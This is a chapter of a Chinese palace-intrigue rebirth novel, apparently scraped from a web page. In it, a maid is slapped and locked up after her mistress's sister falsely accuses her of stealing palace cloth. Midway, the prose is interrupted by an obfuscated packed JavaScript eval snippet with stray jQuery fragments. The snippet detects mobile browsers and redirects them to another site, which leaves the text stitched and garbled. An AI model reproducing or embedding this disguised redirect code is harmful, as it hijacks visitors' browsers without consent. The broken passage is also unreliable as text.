不过这个嬷嬷倒是陌生的很,不过看着嬷嬷那气势,想来应该是宫中的人。
沈泠月想起魏国夫人之前与自己提及的话,要给自己送一些布料,以及量一些尺寸来着。
莫非这些就是?
她面色淡定,迈着步子跨前一步,屋子里面摆放着各式各样的布匹。
这些布匹都是上等的料子,几乎只有宫里头的人才能穿得上。
而且每个料子的花色不同。
琉璃从来没见过这么大的阵仗,稀罕的眼珠子都快落下来了。
但她却屏住呼吸,跟随在沈泠月的身后,迈着步子一点点走了进去。
“沈泠月见过嬷嬷。”
端坐在凳子上的嬷嬷,脸色凝重,眼中多了些许不耐烦。
沈泠月知道,兴许是因为嬷嬷等得太久的缘故。
“嗯,老奴是奉魏国夫人之命,给沈姑娘量尺寸,做衣裳,另外这些布匹是魏国夫人特意送给沈姑娘的。”
嬷嬷淡定的站了起来,轻车熟路的拿着皮尺靠近。
沈泠月配合的抬起双臂,任由着嬷嬷量尺寸。
不等片刻,尺寸也量取完毕,并告知三日后会有人亲自将成衣送来府上。
嬷嬷临走之际,沈泠月却叫住,“今日临时有事,让嬷嬷久等了。”
她转头从诸多的布匹中挑选出一个布匹颜色比较深沉的,双手递到嬷嬷跟前。
“这就当做泠月给嬷嬷的赔罪礼。还请嬷嬷务必收下。”
别看只是一块布匹,虽然颜色看上去有些老成,但布匹却是上等的布料。
在民间可能卖不少钱。
嬷嬷冷色的瞧了一眼,还是伸手接了过去,“既然是沈姑娘赔罪的,那老奴就收下了。”
嬷嬷的脸色稍稍好转,沈泠月亲自把人送到府门口。
琉璃不解,“二小姐,她横竖不过就是一个嬷嬷,以至于把这么昂贵的布匹交给她吗?”
这布匹可值不少钱,在琉璃看来,这些个嬷嬷也不过就是给钱办事的,和他这种级别的没什么两样,只不过是主子不同而已。
沈泠月没有回答,只有她自己心里清楚,只有打点好周遭所有一切的关系,到时候但凡遇上什么困难,自然会有人相帮。
沈泠月再次回到大厅,看着眼前摆放着,如同一座小山的布匹。
她从中挑取了一部分,自己留着,挑了一些给琉璃。
让她把这些东西送回尚书府。
琉璃看不明白,沈泠月为什么要这么做。
沈泠月却笑而不语。
琉璃叫了一些人,把这些上好的布料全都送到尚书府。
这么大的阵仗,很快就被沈知微看见。
沈知微看着那么多上好的布料,嫉妒的双目发红。“站住!”
琉璃刚走没几步就听到这冷漠的声音,吓得身子轻颤。
“大小姐。”她心惊胆战的停下步伐,低头行礼。
沈知微掠过琉璃,直接看着身后那些人手中上等的布料。
沈泠月怎么可能会有这么多的布料,且这些布料全都是上等的极品。
这些布料全都是宫中专供。
“说!这些布料究竟是从何而来?该不会是做了什么不可告人的勾当,所以把这些全都运回了尚书府?”
琉璃的心头一紧,忙的跪在地上,“大小姐误会了!”
啪!
沈知微不分游说,一巴掌狠狠的甩在琉璃的脸颊。
白皙的脸颊瞬间高肿。
她扭了扭被打疼的手腕“一个婢女而已,还敢顶嘴?”
“别以为我不知道,这些个东西只有宫中的人专供,怎么可能会流露出来?”
“该不会是趁机偷的吧?”
沈知微眯着眼睛,半蹲着身子。尖锐的指甲,深深的嵌在琉璃的下颚。
原本高肿的脸颊下落下了深深的指甲印。
琉璃忍着痛,轻轻摇头。
想要解释,却被沈知微叫来了一群小厮,“把她关起来!等我把这件事情与父亲交代了,再好好收拾她。”
两名身强力壮的小厮冲上前,一手拽起琉璃,向柴房的方向拖走。
无论琉璃如何解释,沈知微充耳不闻。
解决了琉璃之后,沈知微又从中取了一两块上好的布匹,私藏了起来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17071955|195226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
随后装作一副很惶恐的样子,匆匆来到大厅找到了父亲。
“父亲不得了了!出事了!”
她手中捏着檀香味的佛珠,神色慌张的来到沈州跟前。
沈州的眉头突然拧起“你何时变得如此冒冒失失?”
沈知微突然顿下脚步,这才想起来自己有失礼仪。
她用力攥紧手中的佛珠,“父亲,此事若处理不好,怕是要掉脑袋的。”
沈州当了那么多年的礼部尚书,也过了这么多年的太平日子。
他可不想临了还落得一个难堪的下场。
“这又是怎么回事?”
沈知微添油加醋,把事情的来龙去脉说了一通,沈州的脸色愈发的难看。
啪!
沈州一巴掌拍在了桌面上,即使如此,也难以压住心中的怒火。
“还愣着干什么?还不赶紧把这个丫头给我拽回来!简直丢人现眼!”
“人家魏国夫人把她当做义女,她怎能做这种偷窃之事。”
县主府。
“阿嚏!”
沈泠月回来之后就小歇了一会儿,苏醒过后,她却并没有见到琉璃归来。
不过她也已经猜到了,恐怕这个时候应该是被沈知微扣住了。
上一世,沈知微仗着自己博得魏国夫人的宠爱。
魏国夫人见她常年穿一身素衣,又以为是受人欺负,特意送了一些上等的布料,又做了一些精致的衣衫。
沈知微为了想办法折磨她,故意叫人弄了一些布匹放在自己房间。
然后当着众人的面说是被人偷了,非要查找。
后来这布匹正好是从沈泠月的房间里搜出,沈州不分由说,上来便是一巴掌。
沈知微假心假意劝说,但实际上就是找借口把她带走,随后明目张胆的收拾她。
想到那带刺的鞭子在身上各处落下,火辣辣的疼,至今都难以忘怀。
沈泠月的眼眶猩红,指尖紧紧捏着茶杯,“这一世,我会将之前所受的所有痛苦,双倍归还。”
不等尚书府的人来请,沈泠月就已经提着裙摆,慢悠悠的去了尚书府。